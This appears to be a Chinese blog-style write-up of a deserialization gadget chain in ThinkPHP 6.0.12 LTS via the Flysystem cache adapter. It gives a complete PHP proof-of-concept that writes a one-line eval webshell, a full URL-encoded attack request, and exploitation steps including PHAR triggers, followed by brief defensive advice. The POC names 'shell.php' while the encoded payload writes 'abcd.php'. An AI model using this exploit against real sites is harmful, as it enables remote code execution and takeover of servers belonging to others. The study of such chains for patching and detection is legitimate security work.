ThinkPHP6.0.12LTS反序列化(getshell的poc链挖掘)
字数 911 2025-08-27 12:33:54
ThinkPHP 6.0.12 LTS 反序列化漏洞分析与利用
漏洞概述
本文详细分析ThinkPHP 6.0.12 LTS版本中存在的反序列化漏洞,该漏洞可导致远程代码执行(RCE)和getshell。漏洞存在于Flysystem组件中,通过精心构造的反序列化链可实现任意文件写入。
环境准备
- 使用Composer安装ThinkPHP 6.0.12:
composer create-project topthink/think tp6 6.0.12
- 中国镜像站地址:https://www.phpcomposer.com/
漏洞分析
反序列化入口点
漏洞利用链的起点是__destruct()魔术方法。在ThinkPHP 6.0.12中,主要关注League\Flysystem\Cached\Storage\AbstractCache抽象类的析构方法:
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
关键调用链
AbstractCache::__destruct()->Adapter::save()Adapter::save()->Adapter::getForStorage()Adapter::save()->Local::write()
利用条件
autosave属性必须为false- 需要控制
adapter属性指向Local类实例 file属性控制写入的文件名cache属性控制写入的内容
漏洞利用
完整POC链构造
namespace League\Flysystem\Cached\Storage {
abstract class AbstractCache {
protected $autosave = false;
protected $cache = ['<?php eval($_POST[\'yyds\']);'];
protected $complete = [];
public function cleanContents(array $contents) {
// 清理内容的方法
return $contents;
}
}
class Adapter extends AbstractCache {
protected $adapter;
protected $expire = null;
protected $file = 'shell.php';
public function __construct($local) {
$this->adapter = $local;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete, $this->expire]);
}
public function save() {
$config = new \League\Flysystem\Config();
$contents = $this->getForStorage();
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
}
}
namespace League\Flysystem\Adapter {
abstract class AbstractAdapter {
protected $pathPrefix;
}
class Local extends AbstractAdapter {
protected $permissionMap;
protected $writeFlags;
public function write($path, $contents, $config) {
$location = $this->applyPathPrefix($path);
$this->ensureDirectory(dirname($location));
file_put_contents($location, $contents, $this->writeFlags);
return true;
}
}
}
namespace {
use League\Flysystem\Adapter\Local;
use League\Flysystem\Cached\Storage\Adapter;
$local = new Local();
echo urlencode(serialize(new Adapter($local)));
}
漏洞利用步骤
- 生成恶意序列化数据:
// 使用上面的POC代码生成序列化字符串
-
在目标系统中寻找反序列化点,通常有以下几种方式:
- 直接调用
unserialize()的函数 - 使用PHAR反序列化(通过文件上传触发)
- 其他反序列化入口
- 直接调用
-
构造攻击URL(假设存在直接反序列化的控制器):
http://target.com/index/testuns?yyds=O%3A39%3A%22League%5CFlysystem%5CCached%5CStorage%5CAdapter%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00adapter%22%3BO%3A30%3A%22League%5CFlysystem%5CAdapter%5CLocal%22%3A3%3A%7Bs%3A16%3A%22%00%2A%00permissionMap%22%3BN%3Bs%3A13%3A%22%00%2A%00writeFlags%22%3BN%3Bs%3A13%3A%22%00%2A%00pathPrefix%22%3BN%3B%7Ds%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A8%3A%22abcd.php%22%3Bs%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A29%3A%22%3C%3Fphp+eval%28%24_POST%5B%27yyds%27%5D%29%3B%3F%3E%22%3B%7Ds%3A11%3A%22%00%2A%00complete%22%3Ba%3A0%3A%7B%7D%7D
- 成功利用后会在网站根目录生成
shell.php文件,内容为:
<?php eval($_POST['yyds']);
防御措施
- 升级到最新版本的ThinkPHP
- 避免直接反序列化用户输入
- 使用白名单验证反序列化数据
- 限制文件系统操作权限
总结
该漏洞利用ThinkPHP 6.0.12 LTS中Flysystem组件的反序列化链,通过精心构造的恶意序列化数据实现任意文件写入,最终获取服务器控制权限。漏洞利用需要找到反序列化入口点,在实际环境中常配合PHAR反序列化或直接反序列化函数使用。